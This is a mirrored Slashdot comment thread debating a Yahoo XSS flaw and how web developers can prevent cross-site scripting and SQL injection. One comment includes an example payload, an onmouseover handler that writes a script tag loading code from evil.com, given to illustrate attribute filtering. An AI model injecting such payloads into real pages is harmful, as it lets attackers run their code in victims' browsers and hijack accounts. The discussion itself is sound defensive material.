Slashdot Mirror
Yahoo! XSS Flaw Endangers its Users
Rarely Greys writes "A major Yahoo XSS flaw makes it possible to take over any Yahoo user's account, including their mail, instant messaging, photos, etc.
This is not a rare occurrence. So why aren't web sites doing more to protect their users? It's looking like most web developers don't even know or care about XSS."
There's no information here about whether Yahoo has been contacted about this (and their response if so.)
And, if I'm reading his code right, to get this to work one must have 'third party cookies' allowed in the browser... Most sane browsers have this OFF by default.
What the hell are "Penis painted" bars? /Useless without pics
I would fall into the category of developers who did not know about this threat. How would i go about protecting the users? are there any simple guidelines that would make XSS-attacks impossible?
this is probably the most boring sig in the world
As a web developer myself, I try dillagently to kill off any XSS attacks by writing good secure code, but there will always be a few corner cases in any non-trivial application that one does not count for. This is doubly so when dealing with web services that have to pump out huge amounts of data over an insecure medium.
What is most showing is how fast it will be till Yahoo fixes this vunerability as a sign of their metal.
imho...
Could it be that web developers have to create Web 2.0 applications that take all sorts of evil input? How do you make blogs, tags, message boards, and things 100% safe? I wish security researchers would create a proof of concept site that was a REAL web application to show best practices. Sure there are projects like http://www.owasp.org/, but their example code is near useless for most languages they have up.
.NET development? I don't use PHP very often. Are there any resources for other languages like perl, python and ruby?
Think about the input needed for a comment box. You have to deal with i18n issues. UTF-8 or UTF-16 is a very big character set. You can't explicitly block everything and then white list selectively very easily with such a big character set.
Some people think bbcode is the solution for some types of sites. I haven't seen too many implementations of bbcode for languages other than PHP that are open source and reusable.
Can someone point me at resources for Java and
I'd personally love to get a library to do safe HTML input while stripping any dangerous tags in Java that is reasonably reusable.
MidnightBSD: The BSD for Everyone
If I read right, you have to click on a long link, whose destination is nonobvious, to activate this. That restricts this, like most other internet security threats, to the (multitudes of) total idiots. Am I reading TFA wrong?
In my opinion web developers just don't know enough about security.
They know how to store and retrieve data from a database, but they don't know why it's important to escape strings before they go to into a SQL query (or better: use parameterized queries). It happens too often that when you see some page: view.php?id=23 and you change 23 to 23', it returns an error. Although a lot of developers are 'saved' by PHP's magic quotes, it isn't a silver bullet.
Even less web developers seem to know about XSS and how to prevent it.
Web security should get a lot more attention in web developer education, from SQL injection to XSS to salted hashes.
The real problems today are using ActiveX in Internet Explorer.
Believe it or not, most malware,spyware,viruses spread to the user via Internet Explorer ActiveX.
Although users are prompted to click yes or no, the default user will click yes anyway, and that's even a bigger problem.
Read and Comment at my BLOG
!!!
It's not a shame to admit you know zilch about XSS. But at least use a library/package/class or something which prevents these flaws. For instance for the PHP developers, there is HTML_Form, which includes a unique hidden form field each time a form is generated thus preventing some XSS.
8 of 13 people found this answer helpful. Did you?
Well, my take (multiple major webdev projects on the go NOW)...
1. MOVING TARGET
A lot of webdev security issues (DB input, etc.) are moving targets.
For example, take database input. Ten years ago, for many (beginning) developers, escaping quotes and backslashes manually was considered fine. Later developers had database libraries that provided these functions natively. All of a sudden, unicode came along. Suddenly you had to worry about extra characters. This was another step - for example, for developers using MySQL, it was pertinent to change all of your escape functions to a new, unicode-aware one.
With everything else on their plate, even if they're single-language developers, auditing old code to maintain current security best practice falls somewhere at the bottom of the todo list, between 'get some exercise' and 'catch up on sleep'.
2. EXPECTATIONS RISING
As individual leading sites like google's gmail or google earth appear, expectations from clients increase. Web developers have a hard time keeping up with meeting all of the new 'standard features' that are expected, and are often implementing certain aspects for the first time, relying on either poorly audited code (random downloaded scripts) or writing their own with insufficient time for testing and security auditing.
3. NEW OR RAPIDLY ELEVATED ISSUES IN WEB SECURITY
In the last ten years, issues have appeared such as:
1. Public tools and worms that can easily attack custom-made applications, rendering some older, unmaintained code more readily exploitable. (This is just another time pressure, and security is all about the combination of resources for the attacker and defender... not just technical know-how on either side.)
2. Cross site scripting... this is quite a complex issue and is not understood by all developers.
3. A large number of scripting languages, which are constantly being updated and take a lot of time to stay up to date with. For example, most web developers are not really competent with javascript/ecmascript...
4. Browser or other 'out of web developer control' bugs can make different tags or features dangerous 'at short notice'.
5. AJAX and web services, which emphasise providing structured, easily-accessible data to the public, make data scraping (ala screen scraping) that much more of a real and widespread threat. As of today, most developers still do not take this threat seriously.
6. Denial of service attacks.
7. New expectations of server-side image (or web services data) processing can expose extra code (often legacy tools, or tools in entirely new languages) to potentially hostile input.
4. GENERAL PROGRAMMING ISSUES
Add to the above the standard pressures that lead to security shortfalls:
- Web developers, like other programmers, are often lumbered with unrealistic delivery timeframes.
- A lot of webdev is single-developer stuff, not completed in teams. As only one person reads the code, errors are less likely to be spotted.
- Most webdev projects have no budget for code auditing as close-to-secure code is often merely a desirable part of the overall bundle, not a steadfast client requirement...
- Webdev people often aren't client facing. In today's highly comepetitive webdev market, client facing salespeople perhaps don't know enough about code security to sell it as a budget-worthy extra.
5. CLIENTS DONT CARE
They want a working site, not a working site with n^m behind-the-scenes feelgood features they have to take at face value and have no way to 'see', 'show the boss' or otherwise justify.
What's XSS?
Eh, never mind. I don't really care.
i'd hit it so hard, if you pulled me out you'd be the king of britain [bash.org]
Firefox 2 changed the way the cookie preferences worked. You can only choose to allow or disallow all cookies through the options menu. To actually block just 3rd party cookies the way you could in 1.5, you have to fool around with obscure about:config settings.
h avior
Set network.cookie.cookieBehavior to "1"
http://kb.mozillazine.org/Network.cookie.cookieBe
The NoScript addon has Yahoo as one of their exemptions to its anti-XSS protection by default.
There is a very VERY simple solution to this problem. Try to pair sessionID with IP number of accessing PC. It would tighten security. Only if "the attacker" will be using the same gateway he would be able to break into account using your sessionID.
Thus... simple solutions are not seen by experts... sad...
arivaldh(at)wp(coma)pl
... sign of their /mettle/.
"Yahoo" has no rock dots. I hope you code better than you write.
If you want to secure your systems, make sure you do not allow userinput with certain tags (assuming this input is displayed later on in a html page).
/me *shudders* (not sure if this is still true in IE7, in quriks-mode however i am pretty sure this still works in ie7 and non standard compliant mode AKA quirks-mode is the default for most IE only or IE targetted sites).
;)
Tags like script, iframe, link, style, embed, object _MUST_ be stripped in an untrusted environment. why you may ask: script, iframe, link allow external references (for example injection of code of remote sites which you can not easily check).
script itself is the most evil tag because it allows an attacker to access any element in a page, modify it and inject further remote scripts not stored on your server.
ie interprets javascript and vbcode in style tags
embed and object tags are used to insert java and activeX code, I guess I do not have to say much about those two techniques, it's again about inserting remote code at runtime.
iframe is, by nature, a fairly secure tag. it can not harm the users page much but it can be used to trick the user in believing to be on another page/site or trick him in any other way. plus, many IE versions had security holes where scripts could travel up from iframe into its parent document to manipulate data from another domain (crossite
There might be some potentially evil tags missing in my list, this is just from the top of my head.
I usually go the other way, instead of restricting tags i define a white-list of tags which are useful for formatting reasons such as strong, em, front, etc. this seems to be a much more controllable way.
HTH,
-Simon
Thanks for the info. The way i work around potentially evil tags is that i deny all tags whatsoever, apart from a selected few useful formatting-tags (br, ul, p, etc).
BTW, I forced a coworker with modpoints into modding you up.
this is probably the most boring sig in the world
i was struggling for ideas for this weekends Yahoo/BBC Hackday , this might just clinch it !
;-)
I could write a bot to steal yahoo accounts based on the names matching keywords in bbc news
Toodle-pip
Amias
[site]
well, what is worse?
some user being foolish enough to click on a link in an e-mail?
OR
asking the help staff of the email company to change your alternative email address and then do a password request on it thus successfully stealing the email account? like im really going to name the company, but no, it isnt yahoo.
hotmail has a flaw , it seems that old yahoo has a flaw too , I think we are going back to old pop3 accounts at least the control will be in our hands.
lol, I hate IE has much as the next guy, but this has nothing to do with ActiveX.
I stopped reading right after the bit about Paris Hilton. If you need her to keep your audience reading your article then either you are a bad writer or I am not the target audience.
-- Cheers!
Although sanitizing user input gets the job done, what one should be doing is sanitizing the output .
An XSS attack exists because you are dynamically generating a web page with content you didn't intend: which contains executable script instead of where you intended dumb text (that you got from a database or that was entered earlier on by a (another) user). Sanitizing user input (which is the only factor you don't control) will help but if I enter <script>1+1</script> as some comment on for example a JavaScript forum, I would expect it to appear like that !
The definite solution to getting rid of XSS attacks is to use a modern toolkit that actively prevents this without ANY effort from the programmer. Like Wt for example does.
<strong onmouseover="document.write('<' + 'script s' + 'rc=\"http://evil.com/foo.js\"></script>')">You get the idea</strong>
HTML sanitizing is VERY. HARD. Unless you first run things through tidy, and then manually check all attributes for evil (keeping in mind URL-encoded and unicode-escaped sequences), you WILL FAIL.
You are a lot safer using wiki or REST syntax and converting it to html formatting tags on the back-end. Otherwise you'll be playing a constant game of whack-a-mole.
If you open yourself to the foo, You and foo become one.
The exploit is simply sending an email a link that posts to a fo via JavaScript
On top of that it relies on posting a form to an external domain; such a thing gives a nasty warning in Firefox.
This really has nothing at all to do with XSS, you can do this with any email client that has HTML mail.
I hate that mistake. >.
Not only that, but they're all but useless. I use Opera, which doesn't support them, and my user experience has never deteriorated because of this.
Send email from the afterlife! Write your e-will at Dead Man's Switch.
Copyright infringement is "piracy" in the same way DRM is "consumer rape"
There is certainly no excuse for web developers not to validate output correctly, but how big of an issue XSS actually is? This one vulnerability requires you to make an user click an odd link, and it took yahoo almost no time to fix it, how many hackers are so good at social engineering that would be able to take advantage of this?
Copyright infringement is "piracy" in the same way DRM is "consumer rape"
Oh yes, certainly. I was not going into the attribute thing, i would disallow all attributes by default (forgot to mention).
Although the parent did not get moderated up, Mr_Icons point is valid and extremely important (if you strip tags but forget to strip attributes in allowed tags, it's not very effective).
Cheers,
-S
Then use safari. It uses the Webkit rendering engine which is based on Konqueror (HTML) and KDE's kjs (javascript). Even ported to windows, in case you're using them.
Go Safari!
there is a very simple solution to XSS this that is rarely followed:
never, i repeat, never print out a user-editable string variable directly to a web page. send every single one through a function that, at the very least, replaces all '<' and '>' to '<' and >
Parse the HTML into a DOM tree, and then write the DOM back out to HTML after filtering the tags and attributes -- only whitelisted ones allowed. If it's malformed HTML that can't be parsed, too bad, it'll get wiped.
"It's looking like most web developers don't even know or care about XSS."
It's also looking like most users don't even know or care about XSS.
For instance, it is trivial to protect yourself from SQL Injection hacks. Just use substitution variables: would become And then just set that variable. Magic, no SQL Injection possible (as long as you trust your DB libraries!).
Is there a similar way to insulate yourself against XSS so we can just go back to writing code that doesn't suck?
They don't grade fathers, but if your daughter's a stripper, you fucked up. --Chris Rock
I've worked on several web projects over the years, and I've never met a single developer who even knew or cared about XSS. In all of those projects none of them, other than myself, bothered to even escape strings when sending out to HTML. In some cases, they will go out of their way to _not_ escape them. Like in ASP.NET, using HTML literal controls (which don't escape HTML content) instead of using text controls (which do). The reasoning was that the
That's a great way for a browser-based email client to display HTML email. Oh, I'm sure that will pass user acceptance testing. Instead of rendering the email, just show a sea of unintelligible HTML markup.
You, sir, are a Pure Man of Genius.
They don't grade fathers, but if your daughter's a stripper, you fucked up. --Chris Rock
They don't grade fathers, but if your daughter's a stripper, you fucked up. --Chris Rock
Not up! As I said above, I was wrong. Mods, please oblivionate the message to -1 Overrated. Obviously, I shouldn't comment without caffeine in my veins. :P
Javascript + Nintendo DSi = DSiCade
Isn't that Safari and not konqueror then?
Copyright infringement is "piracy" in the same way DRM is "consumer rape"
http://www.cgisecurity.com/articles/xss-faq.shtml
Believe me, if I started murdering people, there would be none of you left.
but as other posters here have pointed out, some users' ISPs dork around with IPs. I have never understood why they do that? It doesn't increase throughput. I mean, I'm sure that AOL is multihomed, but switching a user from IP address x.y.z.100 to x.y.z.101 isn't moving them to a different segment, so I don't see how it helps anyone at all. I just don't get it.
> What is most showing is how fast it will be till Yahoo fixes this vunerability as a sign of their metal.
It is already fixed. And probably the security testing team added a new test-case to prevent recurrences.
What went on here is a pure case of ASWing. Nearly every non-trivial application has a fair share of holes, some are just more high-rewards than others. We've found XSS issues in Orkut, during random exploration. But having grown past sixteen, I've sent an email to the orkut feedback black hole and next morning found the bug to be fixed without even a thank-you in reply (it sucks, but that's how nearly everyone treats security bug reporters).
I'd have settled for a free Google t-shirt, but the guy in TFA doesn't deserve anything but censure for his fear-mongering.
Quidquid latine dictum sit, altum videtur
He DID say by default, meaning that he most likely has certain attributes of certain tags that are not stripped (otherwise it's redundant and useless to say "by default").
"It's looking like most web developers don't even know or care about XSS."
Do you have a job?
I've told managers and higher ups that things were not ready on projects I've worked on. I've said there were gaps in code many, many times. They often don't care, and just want to be first to market.
Saying there is a problem as a "web developer" doesn't mean shit, and "web developers" are often not responsible, and have little influence on, saying something "has to go out now" - regardless of if it has problems or not.
I am tired of morons like you that blame the guys in the trenches who have no control over when things go out. If a web developer is not done with something, but they are told it has to go out now anyway, how is that the web developers fault or lack of knowlege?
They also have no ability to hire security managers, or ability to mandate unit testing, or anything else.
The perception of time to market on web software from the pocket book's point of view is a ridiculously small time frame. It almost always - I repeat almost always - puts code out unfinished and untested.
Blaming the "web developer" for these problems shows you have no idea what you are talking about.
You must be a manager.
Bet you never thought it could create a stir in forum drama and politics. At the web's largest tech forum, no less. This is from last October: http://www.pictars.com/users/sm8000/ATMod1280.jpg
Who modded this funny? It's 100% true. Stupid M$ astroturfers.
It's not the developer's fault that security problems like these appear. I promise -- in general developers do what they're told. How many carpenters are responsible for the insulation in your home? What about the alarm systems? Welcome to multiple jobs and multiple persons.
But it's a lot more than that. First off, what idiot thinks that if you avoid XSS, you're secure? Unless you're willing to drop everything and analyze hundreds of security issues, plugging one hole doesn't do anything at all. So the decision is not whether or not to plug XSS, it's whether or not to care about security. In the business world, that translates into "how much should we care about security" or "how much time/effort should go into security".
It's the same thing with your car -- in fact, it's identical. Does your car have air bags? I'll bet it does. Does your car have seat belts? I'll bet it does. Funny thing though -- F1 cars have neither. We've all seen racing with cars flipping, burning, and drivers walking away unscathed. Does your car have a roll-cage? What about a four-point harness? Why not? Simple: not worth the trouble. How many car injuries would be solved with harnesses? You'd have to ignore the injuries from people driving off of a cliff -- which people do. People like to die.
Back to the business decision of how much time to spend on security. That too gets translated quickly in teh business world. Now it's: "what's more important, this big feature over here, or this security hole over there?". And again, the reasoning is pretty clear:
New application feature: brings more business, looks good, more usability, first to market, can charge for it, innovation, patents, competitive edge.
Block security hole: there is just going to be another one, new application features create code flux that solves security holes by accident anyway, it's a performance loss, keeping them open doesn't guarantee that anything bad will happen, no one notices when you're site is more secure, and ultimately the only point of security in these cases is to hinder malicious criminals. Malicious criminals are at fault and responsible for their actions. What's more, you're never going to stop Ethan Hunt no matter how many security holes you plug.
I'm not against security -- if for no other reason, security breeds reliability: something computers frequently don't have. But to get caught up in security at the cost of everything else is just silly. Obviously, air-craft control, nuclear reactors, and space-based lasers are exceptions -- that's why my software licences explicitly prohibit my web portals from being used to control the shuttle. But when it comes to your geocities web-page listing your favourite books, top-level security is just plain stupid. Even when it comes to your credit card, you aren't responsible for fraudulent charges. And when it comes to your bank account, banking actions can be easily reversed.
So you're left with the nuisance of having to get new credit cards, or be bothered with your bank. It's annoying, and it can be devastating, but it's not dangerous. In my mind, that means it warrants security level two -- not one. So come up with what you believe is security level one, and then drop it down a few notches for your bank. Drop it down more for your e-mail. Drop it down all the way for your geocities account. And keep in mind that no one cares about your favourite books.
You would be amazed. Most "programmers" have no clue about what "salt" means. I don't believe you can consider one a programmer unless she has some basic security knowledge. Yet 99.9% "programmers" out there don't even have a clue about what "salt" means.
This world is pathetic.
I've already moderated in this discussion, but I'll bite. Am I?
You people need to stop skirting around the issue by inventing new markup languages and actually solve the problems with proper libraries for each language. There is already a solution for PHP (HTML Purifier): how about more languages?
Any HTML filtering library will be complicated, but it will be much less complicated than a web-browser, which actually has to do things with the HTML. All a filter has to do is validate.
Since other bugs in yahoo make it mail me a new password in an e-mail which is not the one I get my (yahoo) mailing lists delivered to, and no other way to restore access to my account.
-><- no